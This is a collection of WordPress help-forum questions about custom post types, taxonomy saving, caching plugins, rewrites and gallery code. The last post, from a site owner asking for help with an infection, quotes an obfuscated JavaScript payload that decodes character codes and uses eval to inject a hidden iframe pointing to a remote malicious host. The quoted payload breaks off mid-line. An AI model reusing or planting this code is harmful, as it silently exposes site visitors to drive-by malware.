title: Save selectlist value (taxonomy) in wp:wp_set_object_terms

text:
In my admin for part i have additional fields (like price or brand - which is taxonomy). When i edit or create new part, i set up additional data. and price saving is without any problem, but saving value from select list is something strange - it didn't save:               wp_set_object_terms($post_id, $_POST['part_brand'], 'brands', true);      according to wp doc: this function update value from taxonomy select. But for me it didn't work. All code you could see here: http://pastebin.com/N4gZL3uN how to save value from select list (taxonomy) in wp? whole code:               <?php     /*     Plugin Name: parts     Plugin URI: http://wp.tutsplus.com/     Description: descr     Version: 1.0     Author: Me     Author URI: http://wp.tutsplus.com/     License: GPLv2     */     add_action('init', 'part_init');          function part_init()     {       $args = array(         'label' => __('Parts') ,         'labels' => array(           'edit_item' => __('Edit Part') ,           'add_new_item' => __('Add New Part') ,           'view_item' => __('View Part') ,         ) ,         'singular_label' => __('Part') ,         'public' => true,         'show_ui' => true,         '_builtin' => false,         'capability_type' => 'post',         'hierarchical' => false,         'rewrite' => array(           "slug" => "parts"         ) , // формат ссылок         'supports' => array(           'title',           'editor',           'thumbnail'         )       );       register_post_type('part', $args);       $labels_gr = array(         'name' => 'Группы',         'singular_name' => 'Группы',         'search_items' => 'Поиск групп',         'all_items' => 'Все группы',         'parent_item' => 'Родительская группа',         'parent_item_colon' => 'Родительская группа:',         'edit_item' => 'Редактирование группы',         'update_item' => 'Обновить группу',         'add_new_item' => 'Добавить новую группу',         'new_item_name' => 'Имя новой группы',         'menu_name' => 'Группы',       );       $labels_brands = array(         'name' => 'Бренды',         'singular_name' => 'Бренд',         'search_items' => 'Поиск брендов',         'popular_items' => 'Популярные бренды',         'all_items' => 'Все бренды',         'edit_item' => 'Редактировать бренд',         'update_item' => 'Обновить бренд',         'add_new_item' => 'Добавить новый бренд',         'new_item_name' => 'Имя нового бренда',         'menu_name' => 'Бренды',         'separate_items_with_commas' => 'Разделять бренды запятыми',         'add_or_remove_items' => 'Добавить или удалить бренд',         'choose_from_most_used' => 'Выберите бренд из наиболее используемых',         'menu_name' => 'Бренды',       );       register_taxonomy('groups', 'post', array(         'hierarchical' => true,         'labels' => $labels_gr,         'show_ui' => true,         'show_admin_column' => true,         'query_var' => true,         'rewrite' => array(           'slug' => 'group'         ) ,       ));       register_taxonomy('brands', 'post', array(         'hierarchical' => false,         'labels' => $labels_brands,         'show_ui' => true,         'show_admin_column' => true,         'update_count_callback' => '_update_post_term_count',         'query_var' => true,         'rewrite' => array(           'slug' => 'brands'         ) ,       ));     }          function part_add_meta_box()     {       add_meta_box('part_additional_fields', __('Дополнительные поля', 'part_textdomain') , 'part_meta_box_callback', 'part');     }          add_action('add_meta_boxes', 'part_add_meta_box');          function part_meta_box_callback($post)     {       wp_nonce_field('part_meta_box', 'part_meta_box_nonce');       $part_weight = get_post_meta($post->ID, 'part_weight', true);            // $part_brand = get_post_meta( $post->ID, 'part_brand', true );            $part_brand = get_terms('brands', 'hide_empty=0');       $part_price = get_post_meta($post->ID, 'part_price', true);       $part_group = get_terms('groups', 'hide_empty=0');       echo '';       _e('Вес', 'myplugin_textdomain');       echo ' ';       echo '<input id="part_weight" name="part_weight" value="' . esc_attr($part_weight) . '" size="25" type="number" />';       echo "
";     ?>       Бренд       <select name='part_brand' id='part_brand'>               <option value=''               <?php       if (!count($part_brand)) echo "selected"; ?>>None</option>               <?php       foreach($part_brand as $brand)       {         if (!is_wp_error($part_brand) && !empty($part_brand) && !strcmp($brand->slug, $part_brand[0]->slug)) echo "<option value='" . $brand->slug . "' selected>" . $brand->name . "</option>\n";         else echo "<option value='" . $brand->slug . "'>" . $brand->name . "</option>\n";       }          ?>       </select>           <?php       echo "
";       echo '';       _e('Цена', 'myplugin_textdomain');       echo ' ';       echo '<input id="part_price" name="part_price" value="' . esc_attr($part_price) . '" size="25" type="number" />';       echo "
";     ?>       Группа       <select name='part_group' id='part_group'>               <option value=''               <?php       if (!count($part_group)) echo "selected"; ?>>None</option>               <?php       foreach($part_group as $brand)       {         if (!is_wp_error($part_group) && !empty($part_group) && !strcmp($brand->slug, $part_group[0]->slug)) echo "<option value='" . $brand->slug . "' selected>" . $brand->name . "</option>\n";         else echo "<option value='" . $brand->slug . "'>" . $brand->name . "</option>\n";       }          ?>       </select>           <?php     }          function part_save_meta_box_data($post_id)     {       if (!isset($_POST['part_meta_box_nonce']))       {         return;       }            if (!wp_verify_nonce($_POST['part_meta_box_nonce'], 'part_meta_box'))       {         return;       }            if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)       {         return;       }            if (isset($_POST['post_type']) && 'part' == $_POST['post_type'])       {         if (!current_user_can('edit_page', $post_id))         {           return;         }       }       else       {         if (!current_user_can('edit_post', $post_id))         {           return;         }       }            if (!isset($_POST['part_weight']) || !isset($_POST['part_weight']) || !isset($_POST['part_weight']) || !isset($_POST['part_group']))       {         return;       }            $part_weight_data = sanitize_text_field($_POST['part_weight']);            // $part_brand_data = sanitize_option( $_POST['part_brand'], $_POST['part_brand']);            wp_set_object_terms($post_id, $_POST['part_brand'], 'brands', true);       $part_price_data = sanitize_text_field($_POST['part_price']);            // $part_group = sanitize_option( $_POST['part_group'] );            wp_set_object_terms($post_id, $_POST['part_group'], 'groups', true);            // Update the meta field in the database.            update_post_meta($post_id, 'part_weight', $part_weight_data);            // update_post_meta( $post_id, 'part_brand', $part_brand_data );            update_post_meta($post_id, 'part_price', $part_price_data);            // update_post_meta( $post_id, 'part_group', $part_group );          }          add_action('save_post', 'part_save_meta_box_data');     ?>


title: Forms won't submit

text: I have a brand new theme that I just built out using _s's (underscores) that won't submit forms. Here are the errors I get in the console: On submit:               Uncaught Typeerror: cannot read property: 'checkValidity' of undefined      Followed by:               Resource interpreted as Script but transferred with MIME type text/html: "about:blank”.      Steps I’ve taken:   1. Verify that WP is able to send emails by submitting ‘reset password’    2. Installed a plugin that verify’s emails can be sent   3. Narrowed it down to the theme itself because _I am_ able to submit forms when twenty thirteen is installed   4. the problem occurs in both Contact Form 7 and Gravity Forms, so isn't either of them   5. I uninstalled all plugins and I’m still not able to submit Anybody have an idea of what could be causing this in my theme?


title: Custom field not displaying when category specified in loop/tag

text: I'm using custom fields (via Advanced Custom Fields) to display particular bits of information. One of them, author (for which there are sometimes multiple entries), displays fine across the site but will not show on the home page when I identify a specific category in the loop parameters or on the tag page. The code is:               <?php $i = 0; foreach(get_field('author') as $related): ?>     <?php if($i > 0) { echo "and"; } ?>     <?php echo get_the_title($related->ID) ?>     <?php ++$i; endforeach;  ?>      Any pointers on why this isn't working would be much appreciated! Thanks!


title: Edit Custom Post Type on Custom Admin Page instead Post Admin

text: Background: I am still quite fresh to coding and WordPress. For me the best way to understand, is to work on a specific project. **Project:** I want to build a Customer Relationship Tool for WordPress that will be used primarly from the Wordpress Backend. I have custom post types: Contacts / People and Orders. The fields I've added using Advanced Custom Fields. What concerns me right now is that the UI of the post admin doesn't seem very adjustable. E.g., I want to select orders in a selection field and then assign them to a customer. I don't want to see any multiselect field on the customer afterwards but a nice table of all orders assigned. As well I want to record relationships between people, such as e.g. one person being the mail recepient of another one that is a firm. Then I would like to show a list for each person, with all mail addresses, be they form this person itself or from an assigned recipient. **Idea** : I have seen some plugins that use an admin options page with a form to display and edit both list of posts and one specific post itself what seems to allow much more flexibility to create the UI. So I would like to make such an admin form to create, edit and display my custom post types. Yet I am totally stuck and lost in what and how to do it. I am still to much a noob to understand all the code from those plugins. **Supperior question:** How do I create, display and edit a custom post type on an admin options page insted of the post admin page? **My attempt:** I guess I need to break down this problem to junks like:   1. register a custom admin page   2. add a form to this custom admin page, that displays the fields from the custom post type with the desired UI design.   3. functionality to create a new post:      * redirect to this custom admin page, if i click on a link / button to create a new post     * make the form save the entered values to a new post   4. functionality to view and edit an existing post:      * redirect to this custom admin page, if i click on an existing post to edit it     * display values of the post's fields in the form and allowing me to change them and update the values. Aspects 3 and 4 pose issues to me. **I know those are different questions.** I list them here for you to see, what my brain twists are and will research and ask for those separately. **Question:** To be able to approach that project (and ask the right further questions), first I need to know, if those are the right stepps to solve or if I should approach the project completely different. Please provide me with some enlightenment! Thanx a lot!


title: Order posts by date and then by custom field

text: I am trying to do something like this one. Ordering posts by day (not time) AND meta value I want to list blog posts ordered by date (not time) and then within that day, I want to sort them by custom field my_post_rating. This simply outputs posts ordered by rating.               $args = array(       'post_type' => 'post',       'posts_per_page' => '-1',       'meta_key' => 'my_post_rating',       'orderby' => 'meta_value_num',       'ignore_sticky_posts' => 1,     );          $new_query = new WP_Query( $args );      I have also tried suggested solution but it did not worked. Please suggest what is wrong? **Edit //** Var dump added > string(344) "SELECT wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON > (wp_posts.ID = wp_postmeta.post_id) WHERE 1=1 AND wp_posts.post_type = > 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = > 'private') AND (wp_postmeta.meta_key = 'my_post_rating' ) GROUP BY > wp_posts.ID ORDER BY wp_postmeta.meta_value+0 DESC "


title: wp_insert_post generated mixed permalinks

text: I'm writing a plugin which uses `wp_insert_post()` to insert posts programatically and my permalink setting is `/%category%/%postname%/` Of all the post inserted, `wp_posts.guid` shows 2 types of output. Some post will be following `/%category%/%postname%/` and some `/?p=POST_ID`. When I use `get_permalink()`, I also get mixed results much like what's stored in `wp_posts.guid` I wonder what causes this and how can I force all the posts to follow my permalink configuration? At the same time, how do I force all link of `/p=POST_ID` to redirect according to the permalink setting, which in this case `/%category%/%postname%/`? Thank you EDIT: I later found out that those with default permalink are actually 'draft' posts. Sorry for the confusion.


title: Remind a user about their account if they have not used it for 6 months

text: I have a website working with a user registration/login system all working also. I wish to automatically send all users an email that have not used their account for 6 months. I have an idea, but just wondered if there would be a better/more convenient solution. Because this will be done in PHP, I guess this requires a cron job, which isnt a problem as I have done many of them before. Wordpress just doesnt seem to store the last time a user visits my site (to my knowledge). I then thought I could just store in the database (manually) the last time a user visits the site, and run a comparison to the current date in a PHP cron file. Has anyone got a better suggestion? Or even a plugin to do it for me :p Thanks!


title: How could I fix the lowercase problem in nextgen gallery?

text:
I am using nextgen gallery plugin with this code:               $galleries = $wpdb->get_results(     "SELECT t.*, tt.*      FROM $wpdb->nggallery AS t      INNER JOIN $wpdb->nggpictures AS tt ON t.gid = tt.galleryid      WHERE tt.exclude != 1      GROUP BY tt.galleryid ORDER by tt.galleryid");          echo do_shortcode('[nggallery id='.$galleries[0]->gid.' template=galleryview images=0]');           echo '
';     foreach ( $galleries as $gallery ) {         $img_date = explode("-", $gallery->imagedate);         $ano = $img_date[0];         $mes = $img_date[1];         $img_gallery_url = get_bloginfo('url').'/wp-content/uploads/'.$ano.'/'.$mes.'/'.$gallery->filename;         // $gallery->filename trazendo lowercase         echo              '
                 alttext.'"/>                 '.$gallery->name.'
';     }     echo '
';      But the `$gallery->filename` is coming lowercase. My images are being saved without being mandatory to be lowercase.   * How could I fix this ?   * Is there a way to make mandatory lowercase in wordpress image upload (nextgen gallery)?   * Is there a way to make `$gallery->filename` bring the right filename, without making it lowercase ?


title: Which plugin will let me relate one post to another?

text: Here is what I am trying to do: I am trying to allow users to create a post under 'category-A'. Then Create a post under 'category-B' which is linked to the post under 'category-A' For example: category-A Post Title Post content... link to additional post under category-B


title: Can I decide what categories show on my posts page?

text: Forgive me if this is too basic of a question... I am using Twenty Eleven and am wanting to only allow my "news" category show on the front page, excluding all other categories. How can I do this?


title: Buddypress User Settings template location?

text: I am trying to customize my BuddyPress layout and I can't find where to edit the user profile page layout. EG: /members/username-nice/settings/ This is just the page where you can change your password. The header and footer appear as they should, and there's a form to change your password, but I can't find the template file where this is coming from. I've copied all the files from from /wp-content/plugins/buddypress/bp- themes/bp-default/members/single over to my theme. There is ** NO ** settings folder within this folder. I was able to edit all the other profile templates (activity, profile, etc) because these templates were there in the theme. 1) where/do these files exist? 2) is this content being generated by WP and not BP? If so, which default template is is falling back on? And how do I edit around it?


title: How can I move (or create another) publish button?

text: How do I create a "publish" button to put in a custom metabox? Or if you can point me to the code that creates the current publish box, that'd help me out. -attempting to simplify my custom post type-


title: How to have Wordpress send a user confirmation/validation email on signup

text: I have a WP 3.3 installed and running great. My client would like to confirm a valid email address by sending the user a confirmation email containing a link to "confirm". I have played around with Pie Register a little bit but cannot get it to send emails like it says it can. Are there other plugins or tools out there capable of the same thing? I don't think its a huge deal but the client won't budge on it. Also the site sends other emails just fine. ideas?


title: Ordering system through Wordpress

text: I don't use Wordpress much, but I was wondering if anyone knew whether this would be possible in WP. Basically I want an online ordering system, so just like a normal cart where you can put things in your basket etc, except, instead of paying for it you just place an order and it generates an order email to me? Jonny?


title: I'm trying to add an image in my CSS

text: I'm trying to add an image in my CSS with the theme folder code, `<?php bloginfo('template_directory'); ?>`, which works in HTML but for some reason it's not working in the CSS. Does anyone know why or a solution? Here's my code:               background: url("<?php bloginfo('template_directory'); ?>/images/bg.jpg");


title: Why is the editor showing up in custom post type?

text:
I am creating a custom content type and on the add new page and edit page the _editor_ is currently showing up when I have it coded not to be there. This was working fine about a week ago and I'm unsure what went wrong. Any ideas? Here is the code from my functions page:               add_action('init', 'recipe_register');          function recipe_register() {         $labels = array(             'name' => _x('Recipes', 'post type general recipe'),             'singular_name' => _x('Person', 'post type singular name'),             'add_new' => _x('Add New Recipe', 'recipe'),             'add_new_recipe' => __('Add New Recipe'),             'edit_recipe' => __('Edit Recipe'),             'new_recipe' => __('New Recipe'),             'view_recipe' => __('View Recipe'),             'search_recipes' => __('Search Recipes'),             'not_found' =>  __('Nothing found'),             'not_found_in_trash' => __('Nothing found in Trash'),             'parent_item_colon' => ''         );              $args = array(             'labels' => $labels,             'public' => true,             'publicly_queryable' => true,             'show_ui' => true,             'query_var' => true,             'rewrite' => array("slug" => "recipes"),             'capability_type' => 'post',             'hierarchical' => true,             'menu_position' => null,             'supports' => array('title','author','thumbnail')           );                    register_post_type('recipe',$args);              register_taxonomy('type','recipe',array(             'hierarchical' => true,             'label' => 'Type',             'show_ui' => true,             'query_var' => true,             'rewrite' => array( 'slug' => 'type' ),         ));     }                    add_action( 'init', 'create_post_type' );     function create_post_type() {         register_post_type( 'recipe',             array(                 'labels' => array(                     'name' => __( 'Recipe' ),                     'singular_name' => __( 'Recipe' )                 ),                 'public' => true,                 'has_archive' => true,                 'rewrite' => array('slug' => 'recipe')             )         );     }               add_action("admin_init", "admin_init");          function admin_init(){         add_meta_box("recipedetails_meta", "Recipe Information", "recipe_meta",  "recipe", "normal", "low");     }          function recipe_meta() {       global $post;       $custom = get_post_custom($post->ID);       $name = $custom["recipe_name"][0];       $yield = $custom["recipe_yield"][0];       $time = $custom["recipe_time"][0];       $ingredients = $custom["recipe_ingredients"][0];       $directions = $custom["recipe_directions"][0];       $calories = $custom["recipe_calories"][0];       $done = $custom["recipe_done"][0];       $original = $custom["recipe_original"][0];       ?>

Name
<input name="recipe_name" value="<?php echo $name; ?>">

Yield
<input name="recipe_yield" value="<?php echo $yield; ?>">

Time
<input name="recipe_time" value="<?php echo $time; ?>">

Calories
<input name="recipe_calories" value="<?php echo $calories; ?>">

URL
<input name="recipe_fat" value="<?php echo $done; ?>">

Original
<input name="recipe_original" value="<?php echo $original; ?>">

Ingredients:
                 <textarea cols="50" rows="5" name="recipe_ingredients"><?php echo $ingredients; ?></textarea>

Directions:
                 <textarea cols="50" rows="5" name="recipe_directions"><?php echo $directions; ?></textarea>

       <?php     }          add_action('save_post', 'save_details');          function save_details(){       global $post;            update_post_meta($post->ID, "recipe_name", $_POST["recipe_name"]);       update_post_meta($post->ID, "recipe_yield", $_POST["recipe_yield"]);       update_post_meta($post->ID, "recipe_time", $_POST["recipe_time"]);       update_post_meta($post->ID, "recipe_ingredients", $_POST["recipe_ingredients"]);       update_post_meta($post->ID, "recipe_directions", $_POST["recipe_directions"]);       update_post_meta($post->ID, "recipe_calories", $_POST["recipe_calories"]);       update_post_meta($post->ID, "recipe_done", $_POST["recipe_done"]);     }                    add_filter('manage_edit-recipe_columns', 'add_recipe_columns');          function add_recipe_columns($gallery_columns) {         $new_columns['cb'] = '<input type="checkbox" />';         $new_columns['title'] = _x('Recipe', 'column name');         $new_columns['calories'] = __('Calories');         $new_columns['time'] = __('Time');         $new_columns['type'] = __('Type');         return $new_columns;     }               add_action('manage_recipe_posts_custom_column', 'manage_recipe_columns', 10, 2);          function manage_recipe_columns($column_name, $id) {         global $post;         switch ($column_name) {             case 'calories':                 echo get_post_meta( $post->ID , 'recipe_calories' , true );                  break;             case 'time':                  echo get_post_meta( $post->ID, 'recipe_time' , true );                 break;             case 'type':                 echo get_the_term_list($post->ID, 'type', '', ', ','');                 break;                  default:                 break;         }      }          ?>


title: What methods should be used to fend off splogs in a multiuser install?

text: We're running 3.1.1 multi-user with the latest BuddyPress plugin, but we're having all sorts of issues with splog signups. So far, we've started using Anti-Splog, Bad Behavior, ReCaptcha on the signup page and have changed our .htaccess as described here and elsewhere. Is manually spotting and removing them a fact of life with open registration or are we missing something else that could help?


title: Nginx config for NGG / NextGen Gallery

text: I run wordpress on nginx + php-fpm in a subfolder `abc`. I want to upload images into a NextgenGallery and the ajax-based uploader yields this:               POST 404 for http://example.com/abc/index.php/photocrati_ajax      Obviously the rewrite in the `nginx.conf` does not work. Here are the relevant parts of it:               try_files $uri $uri/ /index.php?q=$request_uri;          location ~ \.php$ {          try_files                $uri =404;          fastcgi_split_path_info  ^(.+\.php)(/.+)$;          fastcgi_pass             php-fpm;          fastcgi_index            index.php;     }      So, how to serve `photocrati_ajax` via nginx and make the uploads work?


title: How to make custom posts to behave like taxonomy?

text: I would like to have a database of fashion models on my blog. The models section will be located under `/models/`. There shall be a loop of recent posts with models as well as the full list of models names. Singe page of a model shall have URL: `/models/kate-moss`. Each model's single page should be a custom wordpress post, including basic description, photos and special fields like age and birth date, weight and height etc. On the single page template below the description of the model there shall be a list of posts related to the person. One more important thing: when an author publishes a post they should be able to simply choose the related person from the list with a checkbox. In other words the person is neither custom taxonomy nor custom post, it is both. But how to implement it?


title: dynamically generating plugin syntax

text: I have downloaded an audio player plugin for WP. the syntax is very simple. You just add the line `[audio:my_file.mp3]` to your post editor/excerpt, and call it in the loop with `the_content()` or `the_excerpt()` respectively. I would like to build a metabox in which the user would upload a file, and the plugin syntax would automatically be generated accordingly. I know how to insert the meta-data into the DB, but pulling it with `get_post_meta()` or `the_meta()` just gets the syntax as it is, without replacing it with the desired plugin content (i.e the audio player). I thought about dynamically injecting the syntax to the editor/excerpt with the use of the filter `default_content` but this filter only applies to normal posts, whereas mine is a custom post type (audio). your ideas are most welcomed.


title: How can I use WordPress as a job board ? (but free)

text: I wish to use WordPress installation for a job board. Looking online I found the following two posts that give a list of options: http://www.wpmods.com/turn-wordpress-into-job-board/ http://skyje.com/2010/01/job-board-solutions-for-wordpress/ But all of the options (except 1) cost money. Is there a free (good) solution for WP job board (theme/plugins) ?


title: External/non-WP rewrite rules

text: I have a fairly complex wordpress with multiple sub-directories:               example.com/sub1/     example.com/sub2/      I'm trying to implement some history/bookmark support, and to do that I need the URLS containing these directories to be rewritten to the directory, not the index page. From there AJAX can take over, interpret the first URL and load the content. I believe to do this I need to use `$wp_rewrite->non_wp_rules` So far I have not even been able to write a simple rewrite from one directory to another:               //flush the rules//     function test_flush_rewrites()      {      global $wp_rewrite;      $wp_rewrite->flush_rules();     };     //add new rule//     function test_add_rewrites()      {      global $wp_rewrite;      $test_new_non_wp_rules = array(         'sub1/' => 'sub2',      );      $wp_rewrite->non_wp_rules = $test_new_non_wp_rules + $wp_rewrite->non_wp_rules;     };     //add the actions//     add_action('generate_rewrite_rules', 'test_add_rewrites');     add_action('admin_init', 'test_flush_rewrites');      This results in a `404` when I navigate to the "`sub1`" directory. also               'sub1'    => 'sub2' // does nothing     '/sub1/'  => 'sub2' // does nothing     '/?sub1/' => 'sub2' // does nothing      I believe the rule i'd like to write in `.htaccess` should look something like this:               RewriteRule ^([^/]+)/.*$ /$1/       ideally i'd like to redirect `sub1/anythinghere` to `sub1`, `sub2/anythinghere` to `sub2` and so on. Thanks for any help.


title: Block comments from search engine indexing

text: I remember there used to be an option on WordPress to block comments from search engine indexing. I can't find it anywhere, though. Does anyone have suggestions or alternatives? Thanks.


title: W3 Total Cache Minification: way to revert back?

text: W3 Total Cache Minification: after adding all my js files in the minification settings, what if something screws up? Is is possible to revert back to the original un-minified files? Thanks.


title: How should I best target dynamically served content?

text: I am editing the 'Bizz' portfolio Wordpress theme(http://www.wpexplorer.com/bizz-wordpress-theme). It includes custom post types for managing portfolio examples, the highlights on the homepage, etc. I want to style the background color displayed behind each 'highlights' heading with a different color, but since they're served dynamically, I'm not sure how I should target each h2. Would it be best to attach a unique class to each of the three headings through the php, or try to target them through CSS selectors? And how would I best do that? My major concern in using CSS selectors would be backward compatibility, I dont know that I want to bulk up the page with extra bootstraps. How should I go about it? Thanks!


title: highlight specific text in the content box

text: This is an idea that came through my mind, and I would like to know if possible and how to approach it if so... I have my own wordpress framework that I use as based for all my projects, I manage the content position generated in the content box using shortcodes which respond to an especific div with a location... Said this, sometimes I find myself into a mess really hard to understand, for sample: [one_column] content [/one_column] [one_column] content [/one_column] [one_column] content [/one_column] [one_column] content [/one_column] when the among of text is big, is hard to find where the shortcodes are placed. So, is there any way to highlight the shortcode (like with a different color) into the content box? or maybe easier, is there any way to indent the content and keep that indent once I save or update the post? I would like to hear you opinion, Thanks in advanced. Kind Regards.


title: Default scripts added to each admin page

text: Whilst jQuery is available on all admin pages, only selected jQuery UI libraries are added for certain pages (i.e. it is different for each admin page). I am trying to find out where the jQuery UI libraries are actually registered for each admin page. For instance the widgets.php page has draggable, droppable added.


title: php loading different structure than source code

text:
I was trying to code in a conditional statement into a template file and had a bit of an issue. This is the code in the file                    else                 {                     echo('

' . the_post_thumbnail( 'product-thumb', array( 'class' => 'product-thumb' ) ) . '

' . the_title() . '

Design No.:	' .  get_post_meta($post->ID, 'prod_id', true) . '

Product Status:	' . get_post_meta($post->ID, 'prod_status', true) . '

Style:	' . get_post_meta($post->ID, 'prod_style', true) . '

Size:	' . wpautop(get_post_meta($post->ID, 'prod_sizes', true)) . '
' . ($post->prod_price && $post->prod_sale == ""?('
Original Price:	' . get_post_meta($post->ID, 'prod_price', true) . '
'):($post->prod_sale != ""?('

Sale Price:
	' . get_post_meta($post->ID, 'prod_sale', true) . '

Original Price:

' . get_post_meta($post->ID, 'prod_price', true) . '

') : '

')) . '

' . ($post->post_content?('

' . the_content() . '

'):'') . '

Click here to view more Details

' . ($post->post_content?('

' . the_content() . '

'):'') . '

Click here to view more Details

'     );}      This is what it's supposed to output

Gabbeh Rug-12767

Design No.:	12767

Product Status:	In Stock

Style:	Allover

Size:
4.1 x 6.6
            Click here to view more Details Click here to view more Details                         But instead, for some reason, when the page loads in the browser, this is what it looks like:                   http://dev.imagecarpets.com/products/contemporary-rug/moroccan-rug-140105/Moroccan Rug-140105

Design No.:	140105

Product Status:	In Stock

Style:	Allover

Size:
8.5 x 10
            Click here to view more Details Click here to view more Details The thumbnail image and permalink are loaded outside the thumblist class as it was intended and the link doesnt turn into a link. It just prints the path unformatted. I probably did something dumb but I can't figure it out. Can anyone help


title: Display WooCommerce newest product reviews on top

text: By default, woocommerce product reviews are listed in chronological order. How do you get the newest review to appear first?


title: Removing My Sites menu from Admin

text: I am trying to find a solution to remove the "My Sites" menu that comes under the Dashboard section of a multi-site install. Any ideas on which hook to use? ![enter image description here](http://i.stack.imgur.com/IQWw4.png)


title: Post Via Email to a Custom Post Type

text: I have a scenario where we would like to post to our blog via email. However, it needs to be to a custom post type. I've done a bit of research but haven't found any examples or ideas on how to do this. Any help would be appreciated.


title: How to display date of blog creation

text: Is it possible to display (in PHP) the year when the blog was created? I want use this in footer (copyright) on my several blogs with my theme.


title: How to show the real post date in a draft

text: When looking at a draft post, `get_the_date()` only seems to return today's date, not the post date, even if I have selected another date on the post edit screen. Is there a way to show the "actual" post date, the one I selected? I can see in the MySQL database that it's saved in the post_date column. But, like get_the_date, `$post->post_date` doesn't return it. If the post is a draft, it shows the current date and time.


title: Can't get rid of minify after uninstalling W3 Total Cache

text: I've tried to replace my WP Super Cache for W3 Total Cache but it didn't worked. It was bugged all over and minify wouldn't work properly. So I uninstalled it s suggested by the plugin creator in one forum topic. The problem is my CSS still seems to be cached. I edit my theme's default style.css and it still loads the old version no mater what I do. I've cleaned my cache for however many times. And even if you access the css file right from the browser it still gives you the old version (taking a look at it via FTP will show the right version). What the hell is going on? To me it looks like minify is creeping somewhere in my WP installation and delivering the old cached CSS. Could you guys point out where should I look? EDIT I've changed the theme folder name and the issue has gone, which kinda prove there's some minify remains messing up with my code. I'd still like to get rid of it if someone can help EDIT 2 So, this is seriously driving me nuts now. Despite what I've said the issue persisted. So I've decided to DELET IT ALL and start from zero. I've cleaned the database and the files. Installed a fresh WP install. Restored the database and only the uploads WP folder. And guess what? The issue is still there. Is that an indication it's in the DB?


title: Previous / next posts using featured image thumbnail as links

text: I need navigation to two previous and two next posts, inside same category. I made it working great for one previous and one next post inside same category. This is what I have now. Previous post:               <?php     $prev_post = get_previous_post(TRUE);     $prev_post_thumb_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($prev_post->ID), 'thumbnail');     if (!empty( $prev_post )): ?>          <a href="<?php echo get_permalink( $prev_post->ID ); ?>"<img src="<?php echo $prev_post_thumb_image_url[0]; ?>">          <?php endif; ?>      Next post:               <?php     $next_post = get_next_post(TRUE);     $next_post_thumb_image_url = wp_get_attachment_image_src( get_post_thumbnail_id($next_post->ID), 'thumbnail');     if (!empty( $next_post )): ?>          <a href="<?php echo get_permalink( $next_post->ID ); ?>"><img src="<?php echo $next_post_thumb_image_url[0]; ?>">          <?php endif; ?>      What I need is to check if there is two previous posts and to display than two previous thumbs and also check if there is next two posts and to display them if they exist. Of course it would be nice to display one previous/next post thumbs if there is no two previous posts. Even better to display next 4 posts on first and previous 4 posts on last page.


title: Wordpress Malware Problem help!

text: > **Possible Duplicate:**   >  Wordpress Trojan issue help! I accessed the wordpress website I am building and received a warning about a trojan from my anti virus software. I have now checked the site with various online scanners and it appears that someone has planted an inline frame containing the code posted below... I didnt even know wordpress could get infected in this way. Please help me out! Here is a screenshot of the antivirus warning. http://i.stack.imgur.com/NaSE6.png and here is some of the malicious code script code planted on my site.   * if(window['d'+'o'+'c'+'u'+'m'+'ent'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{if(/123/.exec("a").index!=5);}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'mChar';r=ss[fr+'Code'];for(i=0;0>i-w.length;i++){j=i;s=s+r(39+1*w[j]);}if(aa.indexOf(aaa)!==-1)e(s);if(window['d'+'o'+'c'+'u'+'m'+'ent'])aa=/\w/.exec(new 